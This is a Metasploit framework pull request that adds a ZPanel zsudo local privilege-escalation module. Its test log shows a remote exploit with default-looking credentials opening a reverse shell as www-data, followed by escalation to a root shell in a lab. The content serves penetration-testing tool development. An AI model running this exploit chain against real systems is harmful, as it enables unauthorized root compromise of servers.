rapid7/metasploit-framework — pull request #2007 by jvazquez-r7 (2013-06-23 16:03:07+00:00)
Title: Add local privilege escalation for ZPanel zsudo abuse

This pull requests tries to complete the exploit for zpanel added with #2005 , in this way is possible to escalate until root if zsudo is correctly configured and enabled for the webserver user.

Test (getting an unprivileged session with the zpanel remote exploit, and escalating to root via the local exploit):

```
msf > use exploit/unix/webapp/zpanel_username_exec
msf exploit(zpanel_username_exec) > set USERNAME zadmin
USERNAME => zadmin
msf exploit(zpanel_username_exec) > set PASSWORD password
PASSWORD => password
msf exploit(zpanel_username_exec) > set RHOST 192.168.172.249
RHOST => 192.168.172.249
msf exploit(zpanel_username_exec) > exploit

[*] Started reverse double handler
[+] 192.168.172.249:80 - Logged in as 'zadmin:password'
[*] 192.168.172.249:80 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo wcpzOKEercueSXEP;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "wcpzOKEercueSXEP\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.249:54788) at 2013-06-23 10:59:00 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data),2001(ftpgroup)
z^Z
Background session 1? [y/N] y
[-] Session manipulation failed: Invalid argument ["/Users/juan/Projects/metasploit-framework/lib/rex/sync/thread_safe.rb:36:in `select'", "/Users/juan/Projects/metasploit-framework/lib/rex/sync/thread_safe.rb:36:in `select'", "/Users/juan/Projects/metasploit-framework/lib/msf/base/sessions/command_shell.rb:302:in `_interact_ring'", "/Users/juan/Projects/metasploit-framework/lib/msf/base/sessions/command_shell.rb:249:in `_interact'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/interactive.rb:49:in `interact'", "/Users/juan/Projects/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1707:in `cmd_sessions'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/Users/juan/Projects/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:142:in `cmd_exploit'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/Users/juan/Projects/metasploit-framework/lib/rex/ui/text/shell.rb:200:in `run'", "./msfconsole:169:in `

'"]
msf exploit(zpanel_username_exec) > use exploit/linux/local/zpanel_zsudo
msf exploit(zpanel_zsudo) > set session 1
session => 1
msf exploit(zpanel_zsudo) > check
[*] The target service is running, but could not be validated.
msf exploit(zpanel_zsudo) > exploit

[*] Started reverse double handler
[*] Running...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo gLXQAtYUAty2C3Z6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "gLXQAtYUAty2C3Z6\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.4:53083) at 2013-06-23 10:59:24 -0500

id
uid=0(root) gid=33(www-data) groups=0(root)
^Z

```